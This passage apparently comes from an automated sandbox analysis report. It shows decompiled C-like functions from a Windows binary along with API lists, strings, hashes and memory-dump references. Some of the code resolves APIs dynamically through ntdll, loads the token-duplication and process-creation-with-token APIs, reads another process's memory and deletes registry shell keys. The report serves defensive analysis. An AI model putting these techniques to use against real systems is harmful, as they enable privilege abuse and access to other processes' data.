					_t39 =  *((intOrPtr*)( *_t50 + 0x10))(_a4,  &_v1540,  &_v1028, 0xff,  &_v1028, 0xff,  &_v516,  &_v516, 0xff, L"%%0.%df", _a8);
					if (_t39 != 0) goto L3;
					return _t39;
				}
				_v516 = 0;
				memset( &_v514, ??, ??);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fe);
				L0040B1EC();
				 *((long long*)(_t61 + 0x20)) =  *_a12;
				L0040B1EC();
				return  *((intOrPtr*)( *_t50 + 0x10))(_a4,  &_v516, 0x40c4e8, 0xff,  &_v516, 0xff,  &_v1028,  &_v1028, 0xff, L"%%0.%df", _a8);
			}

0x00409faf
0x00409fb4
0x00409fb5
0x00409fb6
0x0040a043
0x0040a04a
0x0040a058
0x0040a05f
0x0040a06d
0x0040a074
0x0040a08e
0x0040a099
0x0040a0ab
0x0040a0c9
0x0040a0ce
0x00000000
0x0040a0ce
0x00409fc3
0x00409fca
0x00409fd8
0x00409fdf
0x00409ff9
0x0040a006
0x0040a018
0x00000000

APIs

memset.MSVCRT ref: 00409FCA
memset.MSVCRT ref: 00409FDF
_snwprintf.MSVCRT ref: 00409FF9
_snwprintf.MSVCRT ref: 0040A018
memset.MSVCRT ref: 0040A04A
memset.MSVCRT ref: 0040A05F
memset.MSVCRT ref: 0040A074
_snwprintf.MSVCRT ref: 0040A08E
_snwprintf.MSVCRT ref: 0040A0AB

Strings

%%0.%df, xrefs: 00409FEC, 0040A081

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf
String ID: %%0.%df
API String ID: 3473751417-763548558
Opcode ID: 9c1d8227a7254b2b345134e9c44fb34bf141cbad45bd10bf7a91d83f6708c758
Instruction ID: 9f87d91c1f60d09641f67b426c6f30a2a5dee33008317eed3759a4a42041cb36
Opcode Fuzzy Hash: 9c1d8227a7254b2b345134e9c44fb34bf141cbad45bd10bf7a91d83f6708c758
Instruction Fuzzy Hash: 61315D72940129AADB20DF95CC89FEB777CEF49344F0004FAB509B6152D7349A94CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040620E, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E0040620E(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, struct HWND__* _a8, WCHAR* _a12) {
				void _v8202;
				short _v8204;
				void* _t27;
				short _t29;
				short _t40;
				void* _t41;
				struct HMENU__* _t43;
				short _t50;
				void* _t52;
				struct HMENU__* _t59;

				E0040B550(0x2008, __ecx);
				_t65 = _a8 - 4;
				if(_a8 != 4) {
					__eflags = _a8 - 5;
					if(_a8 == 5) {
						_t50 =  *0x40fe2c; // 0x0
						__eflags = _t50;
						if(_t50 == 0) {
							L8:
							_push(_a12);
							_t27 = 5;
							E00405E8D(_t27);
							_t29 = CreateDialogParamW(_a4, _a12, 0, E00406209, 0);
							__eflags = _t29;
							_a8 = _t29;
							if(_t29 == 0) {
								_a8 = CreateDialogParamW(_a4, _a12, GetDesktopWindow(), E00406209, 0);
							}
							_v8204 = 0;
							memset( &_v8202, 0, 0x2000);
							GetWindowTextW(_a8,  &_v8204, 0x1000);
							__eflags = _v8204;
							if(__eflags != 0) {
								E00405FAC(__eflags, L"caption",  &_v8204, 0);
							}
							EnumChildWindows(_a8, E0040614F, 0);
							DestroyWindow(_a8);
						} else {
							while(1) {
								_t40 =  *_t50;
								__eflags = _t40;
								if(_t40 == 0) {
									goto L8;
								}
								__eflags = _t40 - _a12;
								if(_t40 != _a12) {
									_t50 = _t50 + 4;
									__eflags = _t50;
									continue;
								}
								goto L13;
							}
							goto L8;
						}
					}
				} else {
					_push(_a12);
					_t41 = 4;
					E00405E8D(_t41);
					_pop(_t52);
					_t43 = LoadMenuW(_a4, _a12);
					 *0x40fe20 =  *0x40fe20 & 0x00000000;
					_t59 = _t43;
					_push(1);
					_push(_t59);
					_push(_a12);
					E0040605E(_t52, _t65);
					DestroyMenu(_t59);
				}
				L13:
				return 1;
			}

0x00406216
0x0040621b
0x00406222
0x0040625f
0x00406263
0x00406269
0x00406271
0x00406273
0x00406289
0x00406289
0x0040628e
0x0040628f
0x004062a9
0x004062ab
0x004062ad
0x004062b0
0x004062c3
0x004062c3
0x004062d3
0x004062da
0x004062f1
0x004062f7
0x004062fe
0x0040630d
0x00406312
0x0040631e
0x00406327
0x00406275
0x00406283
0x00406283
0x00406285
0x00406287
0x00000000
0x00000000
0x00406277
0x0040627a
0x00406280
0x00406280
0x00000000
0x00406280
0x00000000
0x0040627a
0x00000000
0x00406283
0x00406273
0x00406224
0x00406224
0x00406229
0x0040622a
0x0040622f
0x00406236
0x0040623c
0x00406243
0x00406245
0x00406247
0x00406248
0x0040624b
0x00406254
0x00406254
0x0040632d
0x00406334

APIs

LoadMenuW.USER32 ref: 00406236

Part of subcall function 0040605E: GetMenuItemCount.USER32 ref: 00406074
Part of subcall function 0040605E: memset.MSVCRT ref: 00406093
Part of subcall function 0040605E: GetMenuItemInfoW.USER32 ref: 004060CF
Part of subcall function 0040605E: wcschr.MSVCRT ref: 004060E7

DestroyMenu.USER32(00000000), ref: 00406254
CreateDialogParamW.USER32 ref: 004062A9
GetDesktopWindow.USER32 ref: 004062B4
CreateDialogParamW.USER32 ref: 004062C1
memset.MSVCRT ref: 004062DA
GetWindowTextW.USER32 ref: 004062F1
EnumChildWindows.USER32 ref: 0040631E
DestroyWindow.USER32(00000005), ref: 00406327

Part of subcall function 00405E8D: _snwprintf.MSVCRT ref: 00405EB2

Strings

caption, xrefs: 00406308

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$Window$CreateDestroyDialogItemParammemset$ChildCountDesktopEnumInfoLoadTextWindows_snwprintfwcschr
String ID: caption
API String ID: 973020956-4135340389
Opcode ID: f0dbf22cb8dfb05ce39814170fe8d0dcd326ef21813c42225809b1f658733472
Instruction ID: 5799234da4ec4704710f53c86087676007739614705d168b27d1301efcd7018e
Opcode Fuzzy Hash: f0dbf22cb8dfb05ce39814170fe8d0dcd326ef21813c42225809b1f658733472
Instruction Fuzzy Hash: D2316171900208FFEF11AF94DC859AF3B69FB04314F11847AF90AA51A1D7758964CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004081E4, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E004081E4(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				void _v2050;
				char _v2052;
				void _v4098;
				long _v4100;
				void _v6146;
				char _v6148;
				void* __esi;
				void* _t43;
				intOrPtr* _t49;
				intOrPtr* _t57;
				void* _t58;
				void* _t59;
				intOrPtr _t62;
				intOrPtr _t63;

				_t49 = __ecx;
				E0040B550(0x1800, __ecx);
				_t57 = _t49;
				E00407343(_t57, _a4, L"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 3.2 Final//EN\">\r\n");
				_v4100 = 0;
				memset( &_v4098, 0, 0x7fe);
				_v2052 = 0;
				memset( &_v2050, 0, 0x7fe);
				_v6148 = 0;
				memset( &_v6146, 0, 0x7fe);
				_t59 = _t58 + 0x24;
				_t62 =  *0x40fe30; // 0x0
				if(_t62 != 0) {
					_push(0x40fe30);
					_push(L"<meta http-equiv=\'content-type\' content=\'text/html;charset=%s\'>");
					_push(0x400);
					_push( &_v2052);
					L0040B1EC();
					_t59 = _t59 + 0x10;
				}
				_t63 =  *0x40fe28; // 0x0
				if(_t63 != 0) {
					wcscpy( &_v4100, L"<table dir=\"rtl\"><tr><td>\r\n");
				}
				E00407AFD(_t57, _t57, _a4,  *((intOrPtr*)( *_t57 + 0x20))(),  &_v2052,  &_v4100);
				_push( *((intOrPtr*)( *_t57 + 0x90))( *((intOrPtr*)( *_t57 + 0x8c))()));
				_push(L"<br><h4>%s <a href=\"http://www.nirsoft.net/\" target=\"newwin\">%s</a></h4><p>");
				_push(0x400);
				_push( &_v6148);
				L0040B1EC();
				_t43 = E00407343(_t57, _a4,  &_v6148);
				_t64 = _a8 - 5;
				if(_a8 == 5) {
					return E00407D03(_t57, _t64, _a4);
				}
				return _t43;
			}

0x004081e4
0x004081ec
0x004081fc
0x00408200
0x00408215
0x0040821c
0x0040822a
0x00408231
0x0040823f
0x00408246
0x0040824b
0x0040824e
0x0040825a
0x0040825c
0x00408261
0x0040826c
0x0040826d
0x0040826e
0x00408273
0x00408273
0x00408276
0x0040827c
0x0040828a
0x00408290
0x004082ab
0x004082c5
0x004082c6
0x004082d1
0x004082d2
0x004082d3
0x004082e7
0x004082ec
0x004082f0
0x00000000
0x004082f5
0x004082fe

APIs

memset.MSVCRT ref: 0040821C
memset.MSVCRT ref: 00408231
memset.MSVCRT ref: 00408246
_snwprintf.MSVCRT ref: 0040826E
wcscpy.MSVCRT ref: 0040828A
_snwprintf.MSVCRT ref: 004082D3

Strings

<table dir="rtl"><tr><td>, xrefs: 00408284
<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 004082C6
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 004081F4
<meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 00408261

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$_snwprintf$wcscpy
String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>
API String ID: 1283228442-2366825230
Opcode ID: 31debdc799413e4dd011bdb917084947cf92358cc83d1d17746b8cf035e2114d
Instruction ID: b93c0f476eae2b4120c079c2f39cbc6d180985b1aedf8bde3229837f55527c2f
Opcode Fuzzy Hash: 31debdc799413e4dd011bdb917084947cf92358cc83d1d17746b8cf035e2114d
Instruction Fuzzy Hash: 5C2157769001186ACB21AB95CC45FEE77BCFF48745F0440BEB549B3191DB389B848BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040920A, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040920A(wchar_t* __edi, wchar_t* __esi) {
				void _v526;
				long _v528;
				wchar_t* _t17;
				signed int _t40;
				wchar_t* _t50;

				_t50 = __edi;
				if(__esi[0] != 0x3a) {
					_t17 = wcschr( &(__esi[1]), 0x3a);
					if(_t17 == 0) {
						_t40 = E0040488D(__esi, L"\\systemroot");
						if(_t40 < 0) {
							if( *__esi != 0x5c) {
								wcscpy(__edi, __esi);
							} else {
								_v528 = 0;
								memset( &_v526, 0, 0x208);
								E00404C08( &_v528);
								memcpy(__edi,  &_v528, 4);
								__edi[1] = __edi[1] & 0x00000000;
								wcscat(__edi, __esi);
							}
						} else {
							_v528 = 0;
							memset( &_v526, 0, 0x208);
							E00404C08( &_v528);
							wcscpy(__edi,  &_v528);
							wcscat(__edi, __esi + 0x16 + _t40 * 2);
						}
						L11:
						return _t50;
					}
					_push( &(_t17[0]));
					L4:
					wcscpy(_t50, ??);
					goto L11;
				}
				_push(__esi);
				goto L4;
			}

0x0040920a
0x00409218
0x00409223
0x0040922c
0x0040924b
0x00409253
0x0040929b
0x004092e4
0x0040929d
0x004092a3
0x004092b1
0x004092bd
0x004092cc
0x004092d1
0x004092d8
0x004092dd
0x00409255
0x0040925b
0x00409269
0x00409275
0x00409282
0x0040928d
0x00409292
0x004092ec
0x004092ef
0x004092ef
0x00409231
0x00409232
0x00409233
0x00000000
0x00409239
0x0040921a
0x00000000

APIs

wcschr.MSVCRT ref: 00409223
wcscpy.MSVCRT ref: 00409233

Part of subcall function 0040488D: wcslen.MSVCRT ref: 0040489C
Part of subcall function 0040488D: wcslen.MSVCRT ref: 004048A6
Part of subcall function 0040488D: _memicmp.MSVCRT ref: 004048C1

wcscpy.MSVCRT ref: 00409282
wcscat.MSVCRT ref: 0040928D
memset.MSVCRT ref: 00409269

Part of subcall function 00404C08: GetWindowsDirectoryW.KERNEL32(0041C4C0,00000104,?,004092C2,?,?,00000000,00000208,00000000), ref: 00404C1E
Part of subcall function 00404C08: wcscpy.MSVCRT ref: 00404C2E

memset.MSVCRT ref: 004092B1
memcpy.MSVCRT ref: 004092CC
wcscat.MSVCRT ref: 004092D8

Strings

\systemroot, xrefs: 00409240

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
String ID: \systemroot
API String ID: 4173585201-1821301763
Opcode ID: 60d3348394c7dd9062b0c25d43eb08d04abc05a8b491f8318e68017d15ed3876
Instruction ID: 02e88fdf4673b821ef0819f9ed59a437f9dc8f0c8d82ea34f2c30dfda84fedc2
Opcode Fuzzy Hash: 60d3348394c7dd9062b0c25d43eb08d04abc05a8b491f8318e68017d15ed3876
Instruction Fuzzy Hash: 0D2198A680530479E614F7A14C8ADAB73ACDF55714F2049BFB515B20C3EB3CA94447AE

Uniqueness

Uniqueness Score: -1.00%

Function 00409C70, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 63
librarystringloaderCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00409C70(signed int* _a4) {
				signed int _v8;
				_Unknown_base(*)()* _v12;
				char* _v16;
				int _v18;
				signed int _v20;
				char _v36;
				intOrPtr* _t21;
				struct HINSTANCE__* _t22;
				signed int _t23;
				signed int _t24;
				_Unknown_base(*)()* _t26;
				char* _t28;
				int _t31;

				_t21 = _a4;
				if( *_t21 == 0) {
					_t22 = GetModuleHandleW(L"kernel32.dll");
					_v8 = _t22;
					_t23 = GetProcAddress(_t22, "GetProcAddress");
					 *_a4 = _t23;
					_t24 = _t23 ^ _v8;
					if((_t24 & 0xfff00000) != 0) {
						_t26 = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "LdrGetProcedureAddress");
						_v20 = _v20 & 0x00000000;
						_v12 = _t26;
						asm("stosd");
						asm("stosw");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsw");
						_t28 =  &_v36;
						asm("movsb");
						_v16 = _t28;
						_v20 = strlen(_t28);
						_t31 = strlen( &_v36);
						_v18 = _t31;
						_t24 = _v12(_v8,  &_v20, 0, _a4);
					}
					return _t24;
				}
				return _t21;
			}

0x00409c73
0x00409c7c
0x00409c90
0x00409c9f
0x00409ca2
0x00409ca7
0x00409ca9
0x00409cb1
0x00409cc0
0x00409cc2
0x00409cc7
0x00409ccf
0x00409cd0
0x00409cd7
0x00409cd8
0x00409cd9
0x00409cda
0x00409cdc
0x00409ce0
0x00409ce1
0x00409ce9
0x00409cf1
0x00409cfb
0x00409d08
0x00409d08
0x00000000
0x00409d0d
0x00409d0f

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409C90
GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00409CA2
GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409CB8
GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00409CC0
strlen.MSVCRT ref: 00409CE4
strlen.MSVCRT ref: 00409CF1

Strings

kernel32.dll, xrefs: 00409C8B
LdrGetProcedureAddress, xrefs: 00409CBA
ntdll.dll, xrefs: 00409CB3
GetProcAddress, xrefs: 00409C98, 00409C9D

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProcstrlen
String ID: GetProcAddress$LdrGetProcedureAddress$kernel32.dll$ntdll.dll
API String ID: 1027343248-2054640941
Opcode ID: 2c8eeb2815ee5c5b2ea885c3a2d3967712a9a4d351cacca76f1b157eee6792fc
Instruction ID: e4d1d00a07c818a936495f608e4711dda3cd6d1ffd1a72fa6585e5ef64b3ff18
Opcode Fuzzy Hash: 2c8eeb2815ee5c5b2ea885c3a2d3967712a9a4d351cacca76f1b157eee6792fc
Instruction Fuzzy Hash: A311FE72910218EADB01EFE5DC45ADEBBB9EF48710F10446AE900B7250D7B5AA04CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040289F, Relevance: 17.5, APIs: 5, Strings: 5, Instructions: 25
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040289F(intOrPtr* __esi) {
				void* _t9;
				struct HINSTANCE__* _t10;
				_Unknown_base(*)()* _t14;

				if( *(__esi + 0x10) == 0) {
					_t10 = LoadLibraryW(L"advapi32.dll");
					 *(__esi + 0x10) = _t10;
					 *((intOrPtr*)(__esi + 0xc)) = GetProcAddress(_t10, "CreateProcessWithLogonW");
					 *((intOrPtr*)(__esi)) = GetProcAddress( *(__esi + 0x10), "CreateProcessWithTokenW");
					 *((intOrPtr*)(__esi + 4)) = GetProcAddress( *(__esi + 0x10), "OpenProcessToken");
					_t14 = GetProcAddress( *(__esi + 0x10), "DuplicateTokenEx");
					 *(__esi + 8) = _t14;
					return _t14;
				}
				return _t9;
			}

0x004028a3
0x004028ab
0x004028bd
0x004028ca
0x004028d7
0x004028e3
0x004028e6
0x004028e8
0x00000000
0x004028eb
0x004028ec

APIs

LoadLibraryW.KERNEL32(advapi32.dll,?,00402271,?,?,00000000), ref: 004028AB
GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 004028C0
GetProcAddress.KERNEL32(00000000,CreateProcessWithTokenW), ref: 004028CD
GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 004028D9
GetProcAddress.KERNEL32(00000000,DuplicateTokenEx), ref: 004028E6

Strings

CreateProcessWithLogonW, xrefs: 004028B7
advapi32.dll, xrefs: 004028A6
OpenProcessToken, xrefs: 004028CF
CreateProcessWithTokenW, xrefs: 004028C2
DuplicateTokenEx, xrefs: 004028DB

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessWithLogonW$CreateProcessWithTokenW$DuplicateTokenEx$OpenProcessToken$advapi32.dll
API String ID: 2238633743-1970996977
Opcode ID: 736db8e764dc1c3a829da2c2b507ec82b50fe6502085f5c463c853d5cc7dc2a7
Instruction ID: fe34eb2af2a63a360b7e1287e200b812ce4d940bd8def4616d2569e5b7a8a532
Opcode Fuzzy Hash: 736db8e764dc1c3a829da2c2b507ec82b50fe6502085f5c463c853d5cc7dc2a7
Instruction Fuzzy Hash: AEF09874A40708EBCB30EFB59D49B07BAF5FB94710B114F2AE49662690D7B8A004CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00401AC9, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00401AC9(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4, void* _a8, void* _a12, void* _a16) {
				long _v8;
				int _v12;
				intOrPtr _v16;
				int _v20;
				int _v24;
				char _v28;
				void _v538;
				char _v540;
				int _v548;
				char _v564;
				char _v22292;
				void* __edi;
				void* __esi;
				void* _t37;
				void* _t48;
				void* _t56;
				signed int _t57;
				void* _t67;
				long _t69;
				void* _t70;
				void* _t72;
				void* _t74;
				void* _t76;

				_t67 = __edx;
				E0040B550(0x5714, __ecx);
				_t37 = OpenProcess(0x10, 0, _a16);
				_t82 = _t37;
				_a16 = _t37;
				if(_t37 == 0) {
					_t69 = GetLastError();
				} else {
					_t72 =  &_v22292;
					E0040171F(_t72, _t82);
					_v8 = 0;
					if(ReadProcessMemory(_a16, _a8, _t72, 0x54f4,  &_v8) == 0) {
						_t69 = GetLastError();
					} else {
						_t48 = E00405642( &_v564);
						_t74 = _v548;
						_t70 = _t48;
						_a12 = _t74;
						_v540 = 0;
						memset( &_v538, 0, 0x1fe);
						asm("cdq");
						_push(_t67);
						_push(_t74);
						_push(_t70);
						_push(L"%d  %I64x");
						_push(0xff);
						_push( &_v540);
						L0040B1EC();
						_v548 = 0;
						E004055D1( &_v540,  &_v564);
						_t16 = _t70 + 0xa; // 0xa
						_t68 = _t16;
						_v24 = 0;
						_v12 = 0;
						_v20 = 0;
						_v16 = 0x100;
						_v28 = 0;
						E0040559A( &_v28, _t16);
						_t76 = _v12;
						_t56 = 0x40c4e8;
						if(_t76 != 0) {
							_t56 = _t76;
						}
						_t26 = _t70 + 2; // 0x2
						_t66 = _t70 + _t26;
						_t57 = ReadProcessMemory(_a16, _a12, _t56, _t70 + _t26,  &_v8);
						_t85 = _t76;
						if(_t76 == 0) {
							_t76 = 0x40c4e8;
						}
						E004055F9(_t57 | 0xffffffff,  &_v564, _t76);
						_t69 = E004022D5(_t66, _t68, _t85, _a4,  &_v22292);
						E004055D1(_t61,  &_v28);
					}
					E004055D1(CloseHandle(_a16),  &_v564);
				}
				return _t69;
			}

0x00401ac9
0x00401ad1
0x00401ae1
0x00401ae7
0x00401ae9
0x00401aec
0x00401c1b
0x00401af2
0x00401af2
0x00401af8
0x00401b0c
0x00401b1a
0x00401bfd
0x00401b20
0x00401b26
0x00401b2b
0x00401b36
0x00401b40
0x00401b43
0x00401b4a
0x00401b54
0x00401b55
0x00401b56
0x00401b57
0x00401b58
0x00401b63
0x00401b68
0x00401b69
0x00401b77
0x00401b7d
0x00401b82
0x00401b82
0x00401b88
0x00401b8b
0x00401b8e
0x00401b91
0x00401b98
0x00401b9b
0x00401ba0
0x00401ba5
0x00401baa
0x00401bac
0x00401bac
0x00401bb2
0x00401bb2
0x00401bbe
0x00401bc4
0x00401bc6
0x00401bc8
0x00401bc8
0x00401bd7
0x00401bee
0x00401bf0
0x00401bf0
0x00401c0e
0x00401c0e
0x00401c23

APIs

OpenProcess.KERNEL32(00000010,00000000,0040864F,00000000,?,00000000,?,0040864F,?,?,?,00000000), ref: 00401AE1
ReadProcessMemory.KERNEL32(0040864F,?,?,000054F4,00000000,?,0040864F,?,?,?,00000000), ref: 00401B12
memset.MSVCRT ref: 00401B4A
ReadProcessMemory.KERNEL32(?,?,0040C4E8,00000002,00000000), ref: 00401BBE
_snwprintf.MSVCRT ref: 00401B69

Part of subcall function 004055D1: free.MSVCRT(?,00405843,00000000,?,00000000), ref: 004055DA

Part of subcall function 0040559A: free.MSVCRT(?,00000000,?,004057E1,00000000,?,00000000), ref: 004055AA

GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401BF7
CloseHandle.KERNEL32(0040864F,?,0040864F,?,?,?,00000000), ref: 00401C02
GetLastError.KERNEL32(?,0040864F,?,?,?,00000000), ref: 00401C15

Strings

%d %I64x, xrefs: 00401B58

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$ErrorLastMemoryReadfree$CloseHandleOpen_snwprintfmemset
String ID: %d %I64x
API String ID: 2567117392-2565891505
Opcode ID: 5737760d75e23d64ab9fab178ee98ead68544078704ee144899d5a68802ac3f7
Instruction ID: f77edfd559f5df329b7cfb23e65bd27f477c8a0de7d8607e39e5f26d9e4a317c
Opcode Fuzzy Hash: 5737760d75e23d64ab9fab178ee98ead68544078704ee144899d5a68802ac3f7
Instruction Fuzzy Hash: FE312A72900519EBDB10EF959C859EE7779EF44304F40057AF504B3291DB349E45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004045BA, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E004045BA(void* __ebx, void* __ecx, void* __eflags) {
				void* _v8;
				void _v2054;
				short _v2056;
				void _v4102;
				short _v4104;
				signed int _t28;
				void* _t34;

				E0040B550(0x1004, __ecx);
				_t36 = 0;
				if(E004043F8( &_v8, 0x2001f) == 0) {
					_v2056 = 0;
					memset( &_v2054, 0, 0x7fe);
					_v4104 = 0;
					memset( &_v4102, 0, 0x7fe);
					_t34 = __ebx + 0x20a;
					_push(_t34);
					_push(__ebx);
					_push(L"%s\\shell\\%s\\command");
					_push(0x3ff);
					_push( &_v2056);
					L0040B1EC();
					_push(_t34);
					_push(__ebx);
					_push(L"%s\\shell\\%s");
					_push(0x3ff);
					_push( &_v4104);
					L0040B1EC();
					RegDeleteKeyW(_v8,  &_v2056);
					_t28 = RegDeleteKeyW(_v8,  &_v4104);
					asm("sbb esi, esi");
					_t36 =  ~_t28 + 1;
					RegCloseKey(_v8);
				}
				return _t36;
			}

0x004045c2
0x004045d1
0x004045da
0x004045ef
0x004045f6
0x00404604
0x0040460b
0x00404610
0x00404616
0x00404617
0x00404618
0x00404628
0x00404629
0x0040462a
0x0040462f
0x00404630
0x00404631
0x0040463c
0x0040463d
0x0040463e
0x00404656
0x00404662
0x0040466b
0x0040466d
0x0040466e
0x00404674
0x00404679

APIs

memset.MSVCRT ref: 004045F6
memset.MSVCRT ref: 0040460B
_snwprintf.MSVCRT ref: 0040462A
_snwprintf.MSVCRT ref: 0040463E
RegDeleteKeyW.ADVAPI32(?,?), ref: 00404656
RegDeleteKeyW.ADVAPI32(?,?), ref: 00404662
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,0002001F,?,?,00403904), ref: 0040466E

Strings

%s\shell\%s, xrefs: 00404631
%s\shell\%s\command, xrefs: 00404618

Memory Dump Source

Source File: 00000019.00000002.527205209.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.527192255.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527231593.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000019.00000002.527253433.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000019.00000002.527271576.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Delete_snwprintfmemset$Close
String ID: %s\shell\%s$%s\shell\%s\command
API String ID: 1018939227-3575174989
Opcode ID: eb03526f09382e5b45fdf89eb122c4fe483ff347ce29f2f8469749f4b5604f89
Instruction ID: ac83cb79e3d5854fe24d0bbfc9a3a323e310d753dc8b3985e5e0c668aff5e890
Opcode Fuzzy Hash: eb03526f09382e5b45fdf89eb122c4fe483ff347ce29f2f8469749f4b5604f89
Instruction Fuzzy Hash: 2F115E72800128BACB2097958D45ECBBABCEF49794F0001B6BA08F2151D7745F449AED

Uniqueness

Uniqueness Score: -1.00%

Function 0040313D, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 52
libraryloaderwindowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040313D(void* __ecx) {
				intOrPtr _v8;
				char _v12;
				struct HWND__* _t6;
				_Unknown_base(*)()* _t11;
				struct HWND__* _t15;
				void* _t20;
				struct HINSTANCE__* _t23;

				_v12 = 8;
				_v8 = 0xff;
				_t15 = 0;
				_t20 = 0;
				_t23 = LoadLibraryW(L"comctl32.dll");
				if(_t23 == 0) {
					L5:
					__imp__#17();
					_t6 = 1;
					L6:
					if(_t6 != 0) {
						return 1;
					} else {
						MessageBoxW(_t6, L"Error: Cannot load the common control classes.", L"Error", 0x30);
						return 0;
					}
				}
				_t11 = GetProcAddress(_t23, "InitCommonControlsEx");
				if(_t11 != 0) {
					_t20 = 1;
